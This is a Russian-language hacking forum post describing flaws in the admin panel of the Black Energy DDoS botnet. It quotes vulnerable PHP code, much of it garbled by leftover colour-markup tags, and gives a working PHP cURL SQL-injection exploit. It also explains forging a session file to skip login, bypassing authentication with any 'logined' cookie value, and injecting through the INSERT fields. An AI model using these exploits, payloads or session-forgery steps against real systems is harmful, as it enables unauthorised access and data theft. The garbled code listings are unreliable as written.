Показать сообщение отдельно

  #4  
Старый 09.12.2011, 17:30
trololoman96
Guest
Сообщений: n/a
Провел на форуме:
29020

Репутация: 55
По умолчанию

Уязвимости админ панели у Black Energy ddos bot

1) Версия 1.92

Возможно раскрытие путей через session_start();, для этого в PHPSESSID установите !@#$%@#@

При magic_quotes_gpc = off возможна sql inj в REPLACE INTO

Уязвимый код в index.php:

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if (isset([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'opt'[/COLOR][COLOR="#007700"]]))

{

if (!isset([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'opt'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'spoof_ip'[/COLOR][COLOR="#007700"]]))

[/
COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'opt'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'spoof_ip'[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];

foreach ([/COLOR][COLOR="#0000BB"]array_keys[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'opt'[/COLOR][COLOR="#007700"]]) as[/COLOR][COLOR="#0000BB"]$k[/COLOR][COLOR="#007700"]) {

[/
COLOR][COLOR="#0000BB"]db_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"REPLACE INTO `opt` (`name`, `value`) VALUES ('[/COLOR][COLOR="#0000BB"]$k[/COLOR][COLOR="#DD0000"]', '[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'opt'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#0000BB"]$k[/COLOR][COLOR="#007700"]]}[/COLOR][COLOR="#DD0000"]')"[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"location: index.php"[/COLOR][COLOR="#007700"]);

}

}

....

[/
COLOR][COLOR="#0000BB"]$r[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]db_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"SELECT * FROM `opt`"[/COLOR][COLOR="#007700"]);

while ([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_fetch_array[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$r[/COLOR][COLOR="#007700"]))

[/
COLOR][COLOR="#0000BB"]$opt[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'name'[/COLOR][COLOR="#007700"]]] =[/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'value'[/COLOR][COLOR="#007700"]];

[/COLOR][/COLOR
Есть мини сплоент

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]echo[/COLOR][COLOR="#0000BB"]post[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"http://127.0.0.1/be/www/index.php"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"opt[cmd'/*]=*/, (select version()) ) -- 1"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]);

function[/
COLOR][COLOR="#0000BB"]post[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$post[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$refer[/COLOR][COLOR="#007700"]) {

[/COLOR][COLOR="#0000BB"]$ch[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]curl_init[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$ch[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_USERAGENT[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"Opera/9.61 (Windows NT 5.1; U; Edition Campaign 05; en) Presto/2.1.1"[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$ch[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_POST[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$ch[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_POSTFIELDS[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$post[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$ch[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_REFERER[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$refer[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$ch[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_COOKIE[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"PHPSESSID=7ea3b2c1f4150f4948555ac26263dd33;"[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// нужно указать свой для авторизации

[/COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$ch[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_FOLLOWLOCATION[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$ch[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_RETURNTRANSFER[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]$answer[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]curl_exec[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$ch[/COLOR][COLOR="#007700"]);

return
[/COLOR][COLOR="#0000BB"]$answer[/COLOR][COLOR="#007700"];

}

[/COLOR][/COLOR
Кстати, если есть доступ к северу с сайта соседа и место хранения сессий одинаковое (/tmp/ например) сессию можно легко подделать. Там не проверяются логин и пароль, а проверяется auth на значение true

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if (isset([/COLOR][COLOR="#0000BB"]$_SESSION[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'auth'[/COLOR][COLOR="#007700"]]))[/COLOR][COLOR="#0000BB"]header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"location: index.php"[/COLOR][COLOR="#007700"]);

[/
COLOR][/COLOR
Для этого создаете в хранилище файл с названием sess_123456 и содержанием auth|b:1; , после чего в Cookie подменяете PHPSESSID на 123456.

При использовании мультибайтовой кодировки в бд возможна еще иньекция в stat.php через addslashes(), но это думаю очень повезти должно.

2) Версия v1.8_VIP

Обход авторизации

Уязвимый код в index.php:

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]$logined[/COLOR][COLOR="#007700"]= @[/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'logined'[/COLOR][COLOR="#007700"]];

if ([/COLOR][COLOR="#0000BB"]$logined[/COLOR][COLOR="#007700"]===[/COLOR][COLOR="#0000BB"]$pass[/COLOR][COLOR="#007700"])

{

[/
COLOR][COLOR="#0000BB"]$logined[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"];

}

[/
COLOR][/COLOR
В cookie достаточно установить logined с любым значением и авторизация пройдет.

В админке есть 3 sql inj, через INSERT,DELETE и есть через REPLACE которая описана выше.

Опишу sql inj через insert

Уязвимый код в index.php:

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]case[/COLOR][COLOR="#DD0000"]"add"[/COLOR][COLOR="#007700"]:

if (empty([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'url'[/COLOR][COLOR="#007700"]]))

break;

if (isset([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'country'[/COLOR][COLOR="#007700"]]))[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'country'[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]strtoupper[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'country'[/COLOR][COLOR="#007700"]]);

[/
COLOR][COLOR="#0000BB"]$sql[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"INSERT INTO `files`

(`url`, `dnum`, `country`)

VALUES

('[/COLOR][COLOR="
#007700"]{[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'url'[/COLOR][COLOR="#007700"]]}[/COLOR][COLOR="#DD0000"]', '"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]intval[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'dnum'[/COLOR][COLOR="#007700"]]).[/COLOR][COLOR="#DD0000"]"', '[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'country'[/COLOR][COLOR="#007700"]]}[/COLOR][COLOR="#DD0000"]')

"[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$sql[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"location: index.php"[/COLOR][COLOR="#007700"]);

break;

[/
COLOR][/COLOR
Для эксплатации в

url пишем test' /*

в for country: пишем */ ,'1', (select version()) )--

Тут есть маленький подвох еще, длина поля country (в котором вывод) всего 10 символов, так что крутить придется выдирая данные частями либо через ошибку.
 
Ответить с цитированием